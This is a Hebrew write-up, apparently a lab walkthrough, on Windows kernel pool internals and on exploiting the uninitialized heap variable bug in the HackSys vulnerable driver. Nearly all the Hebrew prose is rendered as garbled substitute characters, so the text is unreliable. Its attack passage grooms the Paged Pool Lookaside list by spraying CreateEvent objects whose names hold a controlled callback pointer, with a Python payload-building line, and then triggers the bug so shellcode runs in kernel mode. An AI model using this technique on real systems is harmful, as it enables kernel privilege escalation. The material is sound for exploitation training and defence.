 ˫˧˟˴ˬˢ ˶˞˷˟  .ˡˣˬ˰ˢ ˪˩ ˸˞ ˫˧˶˶˥˷ˬ˟ ˫˵ˣˬ˧ ˶˟˧˞ˢ ,ˡˣ˥˧˞ ˰˴˟˸˧ ˫ˢ˟-ListHeads ˫˧˶ˣ˥ˢ ˫ˠ .

 ˪ˣ˴˧ˮ ˸˰˟ ˣˮ˶˴˧˷Pool Overflow ˟ ˫˧ˬ˵ˣˬˬ ˣ˧ˢ-ListHead ˢ .˫˧˞˸ˬˢ-ListHead  ˞ˣˢ ˫˧˞˸ˬˢ

ListHeads[0x3F] )0x200/8 - 1 ˪ˣ˴˧ˮ˪ ˣˮˬ˷˶˷ ˸˧ˮ˩˸˟ ˟ˣ˷ ˶ˤ˰˧ˮ .(Pool Overflow ˢ ˸˞ ˭˥˟ˮˣ-

ListHeads ˲ˣ˥ˢ ˸ˣ˞˴˵ˢˢ ˸˶˧˴˧ ˶˥˞˪˟ ˶ˣ˴˰ˮˣ ˢ˸ˣ˞ ˳˧˶ˮ .˸˞ˤ ˷˧˥ˬˢ˪ ˸ˮˬ ˪˰ ˸ˣ˧˷-WinDbg  ˶˥˞˪

.˫˧˶ˣ˥ˢ ˸˶˧˴˧ 

˟ ˣˮ˰˴˧˟˷ ˸ˣ˞˴˵ˢˢ˷ ˶˩ˤ˧ˮ ,˸˧˷˞˶-Pool Overflow  ˸ˣ˞˴˵ˢ ˣ˧ˢNon-Paged Pool˷ ˭ˣˣ˧˩ˬ .-ListHeads 

˟ ˞˴ˬˮ-_POOL_DESCRIPTOR ˢ ˪˷-Poolˢ ˣ˟ ˸˟ˣ˸˩ˢ ˸˞ ˞ˣ˴ˬ˪ ˣˮ˧˪˰ ,-_POOL_DESCRIPTOR  .˞˴ˬˮ 
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˸ˣ˩˶˰ˬ˟ ˢ ,ˡ˥˞ ˡ˟˰ˬ ˭ˢ˟-Non-Paged Pool ˟ ˭ˣ˷˞˶ˢ ˶˟˧˞ˢ ˞ˣˢ-nt!PoolVector ˣˤˢ ˢˡ˟ˣ˰˟ ˶ˤ˰˧ˮ .

ˢ ˸˞ ˞ˣ˴ˬ˪ ˸ˮˬ ˪˰-_POOL_DESCRIPTOR ˢ ˪˷-Non-Paged Pool: 

 

 ˪˰ ˳˥˪ˮ ˫˞ListHeads ,WinDbg  ˪ˡˣˠ˟ ˞ˣˢ ˣˮ˶˴˧˷ ˶ˣ˥ ˪˩˷ ˭ˣˣ˧˩ˬ .˨˶˰ˬˢ ˸˞ ˣˮ˧ˮ˲˟ ˦ˣ˶˲˧0x200ˢ ,-

Block Size  ˞ˣˢ ˣ˪˷64 ˟ ˞˴ˬ˧ˢ˪ ˸ˣ˶ˣˬ˞ ˸ˣ˞˴˵ˢˢ ˭˩˪ˣ-ListHeads[63]. 

 

 

ˢ ˸˞ ˭˥˟ˮ ˫˞-chunk ˢ ˰˧˟˴ˬ ˣ˧˪˞-_LIST_ENTRY :ˣˮ˶˴˧˷ ˶ˣ˥˟ ˶˟ˣˡˬ ˭˩˞˷ ˢ˞˶ˮ ,˭ˣ˷˞˶ˢ 

 

ˢ˷ ˸ˣ˞˶˪ ˫ˠ ˭˸˧ˮ-_LIST_ENTRY ˢ ˶˥˞˪ ˵ˣ˧ˡ˟ ˞˴ˬˮ-_POOL_HEADER  ˰˧˟˴ˬ ˢ˧˪˞ ˸˟ˣ˸˩ˢ)

_LIST_ENTRY.Flink  ˵ˣ˧ˡ˟ ˞˧ˢ8 ˢ ˷˞˶ˬ ˫˧˸˟-chunk.( 

ˢ ˶ˣ˶˥˷ ˫˸˧˶ˣˠ˪˞ ˸˞ ˶˞˸ˬˢ ˫˧˷˶˸˟ ˫˧ˠ˴ˣˬ˷ ˫˧˷ˡ˥ ˫˧˥ˮˣˬ ˧ˮ˷-chunk-˫˧  ˫ˢ ˣˮˠ˴ˢ ˞˪ ˡˣ˰˷

ά5ŜƭŀȅŜŘ CǊŜŜǎέ x-ά5ŜŦŜǊǊŜŘ CǊŜŜǎέˢ ˪ˣˢ˧ˮ ˸˞ ˪˰˧˪ ˸ˮˬ ˪˰˷ ˭˧˧˴ˮ ˵˶ ˞˪˞ ,˭ˢ˟ ˵ˬ˰˸ˮ ˞˪ .-chunk-

˫˧ ˫˷˟) ˪ˠˡ ˫˧˶ˢ˪ ˭˸˧ˮ ,Delayed Frees˪ ˫ˣ˶ˠ˧ ˶˷˞ (-Pool Manager ˷˧ ˶˶˥˷˪ ˞˪ ˸ˣ˶˧chunk-˫˧ ,

 ˡ˰ ˪˧˩ˢ˪ ˢ˪ˣ˩˧˷ ˢˬ˧˷˶˟ ˫˸ˣ˞ ˶ˣˬ˷˪ ˞˪˞0x20 ˢ ˸˞˪ˬ˸ˬ ˞˧ˢ ˶˷˞˩ ˵˶ˣ ,˫˧˶˟˧˞-Pool Manager 

ˢ ˸˞ ˶˶˥˷˧-chunk-˫˧ ˸˞˶˵ˮ ˣˤˢ ˢˬ˧˷˶ˢ .PendingFrees˟ ˸˶ˡˠˣˬ ˞˧ˢˣ ,-_POOL_DESCRIPTOR 

ˢ˪ ˫˧˞˶ˣ˵ ˫˧˷˶˸˟)Deferred Frees.( 
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˴˵ˮˣ˲˪ ˷ˠ˧ˮ ,ˢˤˢ ˧˦˶ˣ˞˧˸ˢ ˰˵˶ˢ ˯˧˯˟ ˪˰ˢ ˸˞ ˭˥˟ˮ ,ˢ˪˧˥˸ .ˢ˰˧ˠ˲ˢ ˢ˧-pseudocode  ˪˧˥˸ˮ .ˢ˪˷

:ˢ˧˴˵ˮˣ˲ˢ ˪˷ ˢˬ˧˸˥˟ 

 

˪ ˰˧˴˟ˬ ˸˪˟˵ˬ ˢ˧˴˵ˮˣ˲ˢ-UserBuffer˪ ˢ˞˧˶˵˟ ˦˪˵ ˶˲˞˟˩ ˫˧˵˲˯ˬ ˣˮ˞˷ ˶˲˞˟ˢ ˣˢˤ .-

DeviceIoControl ˸˷˵˟ ˞˧ˢ ˸˰˴˟˸ˬ˷ ˢ˞˟ˢ ˸ˮ˧˧ˮ˰ˬˢ ˢ˪ˣ˰˲ˢ .chunk ˟-PagedPool ˪ˡˣˠˢ ˶˷˞˩ ,

 ˞ˣˢ ˷˵ˣ˟ˬˢ0xF0 ˣˢ ˠ˸ˢˣ ˞άIŀŎƪέ: 

 

ˢ ˪˞-chunk  ˪˞˩ ˫˧˯˥˧˧˸ˬ ˢ˴˵ˣˢ˷_UNINITIALIZED_HEAP_VARIABLE˟ ˶ˡˠˣˬ ˢˮ˟ˬˢ .-IDA :˨˩ 

 

 ˫˷˟ ˢˡ˷ ˫˧˧˵ ˢˮ˟ˬ˟˷ ˸ˣ˞˶˪ ˭˸˧ˮCallback ˣˮ˸ˣ˞ ˭˧˧ˮ˰ˬ ˸˧˪˞˧˴ˮ˦ˣ˲ ˞ˣˢ ˭˩˪ˣ ,-  ˦˪˸˷ˢ˪ ˪˩ˣˮ ˫˞

˪ ˢ˞˧˶˵˪ ˫ˣ˶ˠ˪ˣ ˣ˩˶˰ ˪˰-Callback˟ ˢ˴˧˶ˢ ˪˰ ˦˪˸˷ˢ˪ ˪˩ˣˮ ,-Kernel-Mode. 

˷ ˢ˵˧ˡ˟ ˶˥˞˪-ExAllocatePoolWithTag  ˶˧ˤ˥ˢchunk ˨˶˰ˢ ˭˩ˬ ˶˥˞˪ˣ ˠˣ˟˧ˡ ˸ˣ˰ˡˣˢ ˢˬ˩ ˫˧˯˲ˡˣˬ ,

 ˫˯˵ˢ ˨˶˰ ˪ˣˬ ˪˞ ˢˣˣ˷ˣˬ ˷ˬ˸˷ˬˢ ˪˷ ˶˲˞˟˟ ˭˯˥ˣ˞ˬˢ0xBAD0B0B0 ,ˣ˪ ˢˣˣ˷ ˞ˣˢˣ ˢˡ˧ˬ˟ .

˟ ˢ˴˵ˣˢ˷ ˢˮ˸˷ˬˢ ˸˞ ˫˧˪˥˸˞ˬ-Pool: 

 

˥˸ˣ˞ˬ ˢˮ˸˷ˬˢ ˣ˟ ,˭˧˵˸ˢ ˢ˴˧˶ˢ ˷˧˥˶˸ ˸˞ ˪ˬ˯ˬ ˢˤˢ ˧˞ˮ˸ˢ ˢ˵˧ˡ˟ ˟ˣ˷ ˸˰˴˟˸ˬ ,˭˩ˬ ˶˥˞˪ .˪

ˢ ˸˞˴˵ˢ˷-chunk ˪ ˫˧˞˶ˣ˵ˣ ,ˢ˥˧˪˴ˢ-Callback :ˢˮ˸˷ˬˢ ˪˷ 

 

 ˢ˷˪ˣ˥ˢ ˸˞˴ˬˮ ˭˞˩ˣ-  ˣ˪˞˩ ˸ˣ˷˪ˣ˥ .˷ˣˬ˧˷˟ ˞˴ˬˮ ˭˧˧ˡ˰ ˨˞ ,˪˥˸ˣ˞ˬ ˞˪ ˢˮ˸˷ˬˢ ˣ˟ ˷˧˥˶˸ ˫˧˧˵

) ˪˥˸ˣ˞ˬ ˞˪ ˢˮ˸˷ˬ ˸ˣ˷˪ˣ˥ ˸ˣ˞˶˵ˮUninitialized Variable˪ ˢˮ˸˷ˬ ˸˷˪ˣ˥˟ ˶˟ˣˡˬ ,˸˧˲˧˴˲˯ .( ˞

˟ ˪˥˸ˣ˞ˬ-Pool ˟ ˞˪ˣ)-Heap ˸˞ ˪˴ˮ˪ ˥˧˪˴ˮˣ ˢˡ˧ˬ˟˷ ˶ˣ˶˟ .(˶˟˧˧˶ˡˢ ˡˣ˵˟ ˸ˣ˟˶ ˫˧ˬ˰˲ ˭˧ˣ˴ˬ˷ ˧˲˩ ,

 ˪˷ ˨˶˰ˢ ˪˰ ˦˪˸˷ˢ˪ ˸ˮˬ ˪˰ ˣˤˢ ˢ˷˪ˣ˥ˢUninitializedHeapVariable->Callbackˢ ˸˞ ˳˧˶ˢ˪ ˪˩ˣˮ ,-

shellcode  ˣˮ˞˷ ˭ˣˣ˧˩ˬ ,ˣ˲ˣ˯˟ ˸ˣˮ˧˵˸˪ ˢ˶ˤ˥ ˫˰ ˨˟˸˯ˢ˪ ˨˶˦˴ˮ ˞˪ ˣ˪˧˲˞ˣ ,ˣˮ˪˷ ˪˩ˣ ˭˧˵˸ ˭˲ˣ˞˟ ˞˶˵ˮ

ˢ ˱ˣ˯˟ ˶ˣˤ˥˪ ˞ˣˢ ˸ˣ˷˰˪ ˣˮ˧˪˰ ˢ˧ˢ˧˷-shellcode. 
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 ˣ˟ ˷˧˥˶˸ ˣˮ˞˴ˬ˷ ˶˥˞˪ :ˢˤ˩ ˞ˣˢ ˪˥˸ˣ˞ˬ ˞˪ ˢˮ˸˷ˬ ˸ˣ˷˪ˣ˥ ˪ˣ˴˧ˮ ˧˶ˣ˥˞ˬ ˡˬˣ˰ˢ ˭ˣ˧˰˶ˢ ,˧˪˪˩ ˭˲ˣ˞˟

 ˣ˟ ˫ˣ˵ˬ˟ ˫˵ˣˬˬ ˸ˣ˧ˢ˪ ˫˧˴ˣ˶ ˣˮ˞˷ ˨˶˰˪ ˫ˣ˶ˠ˪ ˨˶ˡ ˞ˣ˴ˬ˪ ˢ˯ˮˮ ,˪˥˸ˣ˞ ˞˪˷ ˢˮ˸˷ˬ˟ ˫˧˷ˬ˸˷ˬ

ˡˠˣˬ ˸ˣ˧ˢ˪ ˡ˧˸˰˟ ˣ˞ ˸˧ˮ˯˥ˬ˟) ˢˮ˸˷ˬˢ ˶-Pool ˫˧˩˶˰˟ ˷ˣˬ˧˷ ˰˴˟˸˧ ,ˢˮ˸˷ˬ˟ ˷ˣˬ˧˷ˢ ˸˰˟ ˤ˞ˣ ,(

 ˸ˣ˞˴˵ˢ˟ ˧˶˷˲˞ ˶˟ˡˢ .ˣˮ˶˥˟ ˣˮ˞˷Pool ˢ˷ ˭ˣˣ˧˩ˬ-chunk  ˸˶˧˶˟˩ ˣ˸˞˴˵ˢ/ˣ˶ˣ˶˥˷ ˸˰˟ ˯˲ˣ˞ˬ ˞˪

.˷ˡ˥ ˷ˣˬ˧˷˪ ˢ˴˵ˣ˧˷ ˶˥˞˪ ˣ˟ ˫˧˧˵ ˢ˧ˢ˧ ˭˧˧ˡ˰ ˶˶˥ˣ˷˷ ˧ˮ˲˪ ˣ˟ ˫˷ˣˢ˷ ˰ˡ˧ˬ˷ ˨˩ ,˪ˡ˥ˬ 

ˢ˞˧˶˵˟ ˷˵ˣ˟ˬˢ ˪ˡˣˠˢ ˪-ExAllocatePoolWithTag  ˞ˣˢ0xF0ˢ ˶ˬˣ˪˩ ,-block size ˢ ˪˷-chunk  ˞ˣˢ

0x1F )(0xF0 + 0xF) >> 3 ˫˧˷˵˟ˬ ˶˷˞˩ ,˶ˣ˩ˤ˩ .(chunk ˢ˷-block size ˬ ˪ˣˡˠ ˞˪ ˣ˪˷-0x20 ˰˴˟˸ˬ ,

˟ ˷ˣ˲˧˥-Lookaside ˢ ˠˣ˯˪ ˫˧˞˸ˬˢ-Pool ˪x-block size˟ ,-Processor Control Block  ˡ˟˰ˬˢ ˪˷

 ˸˞ ˳˧˶ˬˢ ˞˴ˬ˧ ˫˞ .˨˧˪ˢ˸ˢchunk ˟ ˫˧˞˸ˬ-Lookasideˬ ˨ˣ˲ˢ˧ˣ ˷˵˟ˬ˪ ˶ˤ˥ˣ˧ ˞ˣˢ ,-chunk ˪ ˧˷˲ˣ˥-

chunk  ˸˞ ˞˪ˬ˪ ˥˧˪˴ˮ ˫˞˷ ,˭˞˩ˬ .˷ˣˬ˧˷˟PPPagedLookasideList[0x1E] )0x1F - 1˟ (-chunk-˫˧ 

˟ ˦ˣ˪˷˪ ˪˩ˣˮ ,˫ˮ˩ˣ˸˟ˣ ˫ˢ˟ ˣˮ˦˪˷˷ ˫˧˧˷˲ˣ˥-UninitializedHeapVariable  .˪˥˸ˣ˞˧ ˞˪ ˞ˣˢ ˡˣ˰ ˪˩

 ˢˡ˷ˢ˷ ˭ˣˣ˧˩ˬCallback  ˪˷ ˦˯˧ˢ˟ ˞˴ˬˮ4  ˢˮ˟ˬˢ ˸˪˧˥˸ˬ ˫˧˸˟_UNINITIALIZED_HEAP_VARIABLE ,

ˢ ˪˩˷ ˞ˡˣˣˮ ˫˞-chunk-˫˧ :˶ˣ˶˥˷ˢ ˧ˮ˲˪ ˢ˞˟ˢ ˢ˶ˣ˴˟ ˣ˞˶˧ 

 

˪ ˫˸ˣ˲˯ˣˣ˸ˢˣ ˫˶ˣ˶˥˷ ˶˥˞˪ ˤ˞-Lookaside ˫˷˶˧ ,_SINGLE_LIST_ENTRY ˢ ˸˪˧˥˸˪-chunk s-chunk-

:˨˩ ˣ˞˶˧ ˫˧ 

 

-sCallback ˵˧˲ˢ ˪˷ ˪ˡˣˠˢ˷ ˢˡˣ˟˰ˢ ˸ˣ˩ˤ˟ ˸˞ˤˣ ,˯˶ˡˮ ˞˪ ˣˮ˪˷ ˧˟˧˦_SINGLE_LIST_ENTRY  ˞ˣˢ4 

˟ ˧˰˧˟˶ˢ ˸˧˟ˢˬ ˪˥ˢ ˫˧˧˵˷ ˰ˡ˧ˬˢ˷ ˨˩ ,˫˧˸˟-chunk ˢ ˫˞ .˶ˬ˷ˮ-chunk ˪ ˱˯ˣˣ˸ˬ ˢ˧ˢ-ListHeads ,

 ˱˯ˣˣ˸ˬ ˢ˧ˢ_LIST_ENTRY ˢ ˸˞ ˯˶ˣˡ ˢ˧ˢ˷ ,ˣ˸˪˧˥˸˟-Callback  ˪˷ ˪ˡˣˠˢ˷ ˭ˣˣ˧˩ˬ)_LIST_ENTRY  ˞ˣˢ

8 ˫˧˸˟ ˡˣ˞ˬ ˣˮ˪ ˟ˣ˷˥ ˭ˣ˶˥˞ˢ ˰ˡ˧ˬˢ ˦˶˲ .(- ˟ ˷ˣˬ˧˷ˢ-Lookaside  ˪˷ ˳ˣ˪˧˞ ˣ˞ ˸ˣ˥ˣˮ ˨ˣ˸ˬ ˞˪ ˞ˣˢ

˟ ,˶ˣ˩ˤ˩ :ˢ˪˰˲ˢˢ ˸˩˶˰ˬ-2 ˢ ,ˢ˸˧˧˪˰ ˶˥˞˪ ˸ˣˮˣ˷˞˶ˢ ˸ˣ˵ˡˢ-Lookaside ˟ ˷ˣˬ˧˷ˢ .˪˥˸ˣ˞ˬ ˞˪-

Lookaside  ˨ˣ˸ˬ ˢ˷˰ˮ˥˶˩ˢ ˟ ˫˧˧ˮ˷ˢ ˫˧˸˟ˢ ˸˰˟˶˞˟ ˦ˣ˪˷˪ ˣˮ˪˷-UninitializedHeapVariable˪ , ˭˩

ˢ ˸˞ ˫ˣ˷˶ˮ˷˩-exploit ˢ˷ ˞ˡˣˣˮ ˣˮ˪˷-Lookaside .ˢ˷˪ˣ˥ˢ ˸˞ ˪˴ˮˮ ˭˩ˬ ˶˥˞˪ ˵˶ˣ ˢ˪˰ 
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˪ ˧˸ˣ˶˧˶˷ ˰ˡ˧ˬ ˫ˣ˷˶˪ ˭˸˧ˮ ˡ˴˧˩ ˭˧˟ˢ˪ ˞ˣˢ ˶˸ˣˮ˷ ˢˬ .ˢ˷˪ˣ˥ˢ ˪ˣ˴˧ˮ˪ ˭ˣ˧˰˶ ˣˮ˪ ˷˧ ,ˢ˲˧ ˤ˞-Paged 

Pool) ˫˧˴ˣ˶ ˣˮ˞˷ ˪ˡˣˠ˟ ,0xF0  ,ˣˮ˧˶˟˥ ˸˞ ˫˧˶˩ˣˤ .(˫˧˸˟CreateEvent ˦˵˧˧˟ˣ˞ˢ ,˶ˣ˩ˤ˩ ? ˸˞ ˠ˴˧˧ˬ˷

-sEvent ˟ ˶ˡˠˣˬ ˣˬ˴˰-Non-Paged Poolˢ ˪ˣ˴˧ˮ˪ ˣˮ˪ ˢ˶ˤ˰˷ ˢˡ˟ˣ˰ ,-Pool Overflow  ˱˧˰˯˟ ˣ˟ ˣˮ˵˯˰˷

:˱˯ˣˮ ˭˧˧ˮ˰ˬ ˦ˮˬˣˠ˶˞˟ ˭˧˥˟ˮ ,ˢ˧˴˵ˮˣ˲ˢ ˸ˬ˧˸˥ ˸˞ ˟ˣ˷ ˭˥˟ˮ ˫˞ ˪˟˞ .˫ˡˣ˵ˢ 

HANDLE WINAPI CreateEvent (  

  _In_opt_ LPSECURITY_ATTRIBUTES lpEventAttributes ,  

  _In _     BOOL                  bManualReset ,  

  _In_     BOOL                  bInitialState ,  

  _In_opt_ LPCTSTR               lpName  

);  

 ˦ˮˬˣˠ˶˞ˢlpName ˟ ˸˶ˬ˷ˮ ˞˪ ˸ˤˣ˶˥ˬˢ .˸ˤˣ˶˥ˬ˪ ˰˧˟˴ˬ ˞ˣˢ-Event  ˸˶ˤ˰˟ ˸ˠ˴ˣ˧ˬ ˞˪˞ ,ˣˬ˴˰

 ˞ˣˢ ˢ˪˷ ˠ˸ˢ˷ ˸˶˥˞ ˢ˞˴˵ˢObNm )Object Name˟ ˸˧˴˵ˣˬ ˞˧ˢˣ ,(-Paged Pool ˷˧˷ ˭ˣˣ˧˩ˬ ,˭˩ ˣˬ˩ !

˟ ˸˦˪˥ˣˬ ˢ˦˧˪˷ ˣˮ˪-lpNameˢ ˪ˡˣˠ ˪˰ ˸˦˪˥ˣˬ ˢ˦˧˪˷ ˣˮ˪ ˷˧ ,-chunk  ˢ˧ˢ˧ ˭˩ˣ˸ˢ) ˣˮ˩ˣ˸ ˪˰ˣ ˢ˴˵ˣ˧˷

 ˞ˣˢ ˢ˩˶ˣ˞˷ ˸ˤˣ˶˥ˬ˟ ˷ˬ˸˷ˮ ˫˞ ,˭˩˪ .(ˣˮ˪˷ ˸ˤˣ˶˥ˬˢ ˪˷ ˵˸˰ˢ0xF0  ˫˧˸˟ˢ ˸˰˟˶˞ˣ ,˫˧˸˟

ˢ ˪˷ ˸˟ˣ˸˩ˢ ˫ˢ ˢ˪˷ ˫˧˧ˮ˷ˢ-shellcode ˢ ˸ˬ˶˟ ˢ˶˵˧˷ ˢˬ ,ˣˮ˪˷-Pool Manager  ˪˷ ˢ˞˴˵ˢ ˢ˧ˢ˧

chunk ˢ˷-block size  ˞ˣˢ ˣ˪˷0x1F ˟-Paged Pool ˧˶˥˞ ˫˧˸˟ ˢ˰˟˶˞ˣ ,ˣˮ˸˦˧˪˷˪ ˭˧˦ˣ˪˥˪ ˣˮ˩ˣ˸˷ ,

ˢ ˪˷ ˸˟ˣ˸˩ˢ ˰˧˲ˣ˸ ˣ˸˪˧˥˸-shellcode ˣ ˢˡ˧ˬ˟ ,ˢ˞˴˵ˢˢ ˶ˣ˶˥˷ ˶˥˞˪ .ˣˮ˪˷-

PPPagedLookasideList[0x1E] ˢ ,˞˪ˬ ˞˪-chunk ˮˣˣ˪˶ˢ .˫˧˴ˣ˶ ˣˮ˞˷ ˧˲˩ ˵ˣ˧ˡ˟ ˢ˞˶˧ˣ ˣ˧˪˞ ˱˯ˣˣ˸˧ ˧˦ 

ˢ ˸˞ ˪˟˵˧ ˶˟˧˧˶ˡˢ˷ ˸ˮˬ ˪˰-chunk ˟ ˭ˣ˶˩˧ˤ ˷˵˟˧ ˶˷˞˩ ˣˮ˶˴˧ ˣˮ˞˷-Paged Poolˢ ˪˰ ,-chunk  ˣˮ˪˷

ˢ ˷˞˶˟ ˸ˣ˧ˢ˪-LookasideList ˟ ˫˧˧˵˷ ˰ˡ˧ˬ˟ ˫˧˦˪ˣ˷ ˞˪ ˣˮ˞˷ ˭ˣˣ˧˩ˬ ,˪˟˞ .˧˦ˮˣˣ˪˶ˢ-Lookaside  ˧ˮ˲˪

ˢ ˸ˣ˞˴˵ˢ ˸˶˧˴˧ ˸˪˧˥˸-ObNm ˮ˪˷ˢ˷ ˞ˡˣˣ˪ ˪˩ ˫ˡˣ˵ ˣˮ˧˪˰ ,ˣ-Lookaside  ˸˞ ˭˵ˣ˶˪ ˸ˮˬ ˪˰ .˭˵ˣ˶˸ˢ

-sLookaside ˶ˣ˴˧ˮ ,0x100 chunk-˫˧ ˢ ˪˩ ˸˞ "˦˥˯ˮ" ˨˩ˣ ,ˣ˪˞˩-chunk-˫˧ ˟ ˫˧ˬ˧˧˵ˢ-Lookaside .

ˢ ˸ˣ˶˧ˢˬ˟ ˶˶˥˷ˮ ,˭˩ˬ ˶˥˞˪-chunk-˫˧ˢ ˷˞˶˟ ˣ˰˧˲ˣ˧˷ ˸ˮˬ ˪˰ ,-Lookaside  ˶˥˞ ˶ˣ˶˥˷ ˰˴˟˸˧ ˞˪ˣ

 ˪˷chunk  ˣ˸ˣ˞ ˪˰˟block size˟ ˭ˣ˶˩˧ˤ ˷˵˟˧ ˶˟˧˧˶ˡˢ ˶˷˞˩ ,˨˩ .-Paged Poolˢ ˡ˥˞ ˸˞ ˪˟˵˧ ˞ˣˢ ,-

chunk-˫˧  ,˶˟˰˟ ˣˮ˧˧˴˷ ˧˲˩ ,˫˧˞˶ˣ˵ ˣˮ˶˞˧˸˷ ˨˧˪ˢ˸˪ .ˣˮ˶˴˧˷Pool Grooming. 

 ˪˷ ˨˶˰ˢ˷ ˫˧ˮ˧˧ˮˣ˰ˬ ˣˮ˞˷ ˦˧˪˥ˮ ,ˢˬˠˡˢ ˨˶ˣ˴˪Callback  ˢ˧ˢ˧0x41414141˪ ˵˧ˮ˰ˮ˷ ˫˷ˢ ,˭˩˪ .-

Event :ˢ˧ˢ˧ 

event_name = "\x42" * 0x04 + "\x41\x41\x41\x41" + "\x43" * 0xE3 + str(index+1).ljust(0x04, '\x44') + '\x00' 

ˢ ˧ˮ˲˪) ˫˧ˮˣ˶˥˞ˢ ˫˧˸˟ˢ ˸˰˟˶˞ ˶˷˞˩-null-terminator˪ ˧ˡˣ˥˧˧ ˫˷ ˵˧ˮ˰ˢ˪ ˫˸˶˦ˬ (-Event ˸˶˥˞ ,

˪ ˢ˞˧˶˵ˢ-CreateEvent .˪˷˩˸ 

 ˪˩ ˶ˣ˟˰Event ˣ˧ ,ˣˮ˧˧˴˷ ˦ˬ˶ˣ˲˟ ˫˷ ˪˰˟ ,˶˴˧˧ˮ˷ ˶˴ˣchunk ˟-Paged Pool  ˠ˸ˢ ˸˥˸ObNmˢ˷ ,-

block size  ˞ˣˢ ˣ˪˷0xF8˪ ˢ˞˧˶˵ˢ ˸˰˟ .-CloseHandle ˢ ˫˰-handle ˪-Eventˢ ˫ˠ ,-chunk  ˵˧ˤ˥ˬ˷

˪ ˯ˮ˩˧ˣ ,˶˶˥ˣ˷˧ ˣˬ˷ ˸˞-Lookaside ˪ ˸˧˲˧˴˲˯ ,ˣ˪ ˫˧˞˸ˬˢ-PPPagedLookasideList[0x1E] ˫ˣ˷˶ˮ .
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 ˸˶˴ˣ˧˷ ˸˧ˮ˩˸0x100 Event-˫˧ ˶˥˞˪ˣ ,ˣ˪˞˩  ˸˷˵˟ ˸˥˪ˣ˷ˣ ˫˸ˣ˞ ˸˶˶˥˷ˬ ˭˩ˬIOCTL  ˡˣ˵ ˫˰ ˶˟˧˧˶ˡ˪

-sIOCTL ˪ ˢ˞˧˶˵˪ ˫ˣ˶ˠ˧˷-HEVD!TriggerUninitializedHeapVariableˢ ˸˞ ˭˥˟ˮˣ ,-Lookaside  ˧˦ˮˣˣ˪˶ˢ

.˸˧ˮ˩˸ˢ ˸˪ˣ˰˲ ˨˶ˣ˞˪ 

ˢ ˸˞ ˭ˣ˥˟˪ ˸ˮˬ ˪˰-Pool ˪ ˱˯ˣ˸˟ ˶ˤ˰˧ˮ ,˶˸ˣ˧ ˢ˥ˣˮ ˢ˶ˣ˴˟-WinDbg  ˫˷˟poolinfo ˪˰ ˟˸˩ˮ ˱˯ˣ˸ˢ .

 ˧ˡ˧fishstiqz ˬ ˣ˸ˣ˞ ˵˧˸˰ˢ˪ ˭˸˧ˮˣ-GitHub˟ ˢ˧˶˲˯˟ .-GitHub  ˧˴˟˵ ˭ˢˣ ˶ˣ˵ˬ ˧˴˟˵ ˭ˢ ˫˧ˬ˧˧˵dll  ˫˧ˮ˩ˣˬ

˪ ˱˯ˣ˸ ˱˧˯ˣˢ˪ ˸ˮˬ ˪˰ .˷˞˶ˬ-WinDbgˢ ˸˞ ˵˧˸˰ˢ˪ ˨˶˦˴ˮ ,-dll ˢ ˸˞ ,ˢˤˢ ˢ˶˵ˬ˟) ˫˧˞˸ˬˢ-dll 

 ˸˶ˣ˦˵˦˧˩˶˞˟  ˸˶ˣ˦˵˦˧˩˶˞˟32  ˣ˟ ˫ˣ˵˧ˬ˪ (˦˧˟WinDbg  ˢˡˣ˵˲ˢ .˫˧˲˯ˣ˸ ˞ˣ˴ˬ˪ ˰ˡˣ˧ά.extpathέ 

 ˫ˢ˟ ˫˧˟˧˸ˮˢ ˸˞ ˠ˧˴˸WinDbg  ,˧˪˪˩ ˭˲ˣ˞˟ .˫˧˲˯ˣ˸ ˷˲˥ˬWinDbg  ˪˩˟ ˫˧˞˴ˬˮˢ ˫˧˲˯ˣ˸ ˞ˣ˴ˬ˪ ˰ˡ˧

 ˢ˟˧˟˯ˢ ˢˮ˸˷ˬ˟ ˫˧˶ˡˠˣˬ˷ ˫˧˟˧˸ˮˢˬ ˡ˥˞%PATH% .˵˧ˣˡˬ ˟˧˸ˮ ˸˶ˤ˰˟ ˱˯ˣ˸ˢ ˸˞ ˫ˠ ˭ˣ˰˦˪ ˭˸˧ˮ .

 ˢˡˣ˵˲˟ ˷ˣˬ˧˷ ˸ˣ˰˴ˬ˞˟ ˸˧˷˰ˮ ˫˧˲˯ˣ˸ ˸ˮ˧˰˦ά.load <path>έ,˱˯ˣ˸ˢ ˸ˮ˧˰˦ ˶˥˞˪ .  ˸˞ ˳˧˶ˮ

 ˢˡˣ˵˲ˢάΗǇƻƻƭƛƴŦƻέ :˞˟ˢ ˦˪˲˪ ˢˬˣˡ ˸ˣ˧ˢ˪ ˶ˣˬ˞ ˦˪˲ˢ .ˢ˥˪˴ˢ˟ ˭˰˦ˮ ˞ˣˢ˷ ˞ˡˣˣ˪ ˸ˮˬ ˪˰ 

 

 ˱˯ˣ˸ˢ˷ ˸ˣˡˣ˵˲ ˶˲˯ˬ ˭ˮ˷˧poolinfo ˢ ˪˩ ˪˷ ˢˬ˧˷˶˟ ˸ˣ˲˴˪ ˭˸˧ˮ ,˸˧˷˞˶ .ˣˮ˪ ˞˴˧˧ˬ-Pools  ˸˩˶˰ˬ˟

 ˸˴˶ˢ ˸˶ˤ˰˟!poollist ˪ˠˡˢ ˸˞ ˱˧˯ˣˮ ˫˞ .-l ˢ ˪˩ ˫ˠ ˣˮ˪ ˣˠ˴ˣ˧ ,ˢˡˣ˵˲˪-Lookasideˢ ˪˷ ˫˧-Pools: 

 

ˢ ˸˞˧˴ˬ ˸˞ ˣˮ˪ ˨ˣ˯˥˸ˣ ˡˣ˞ˬ ˸˧˷ˣˬ˧˷ ˣˤˢ ˢˡˣ˵˲ˢ-Lookaside ˢ ˧˲ ˪˰-_KPRCB ˟ ˞˴ˬˮ˷-fs ˢ˴˧˥˪ .

ˢˬ ˡ˥˞ ˪˩ ˪˰ ˶˸ˣ˧ ˦˶ˣ˲ˬ ˰ˡ˧ˬ ˠ˧˴˸ ˫˧˶ˣ˷˧˵ˢ ˡ˥˞ ˪˰-Pool Descriptors/Lookaside Descriptors. 

 ˞˧ˢ ˸˲˯ˣˮ ˢˡˣ˵˲!poolinfoˢ ˪˰ ˰ˡ˧ˬ ˣˮ˪ ˠ˧˴˸ ˞˧ˢˣ ,-Pool/Lookaside  ˵˲˯ˮ ˣ˪˷ ˸˟ˣ˸˩ˢ ˸˞˷

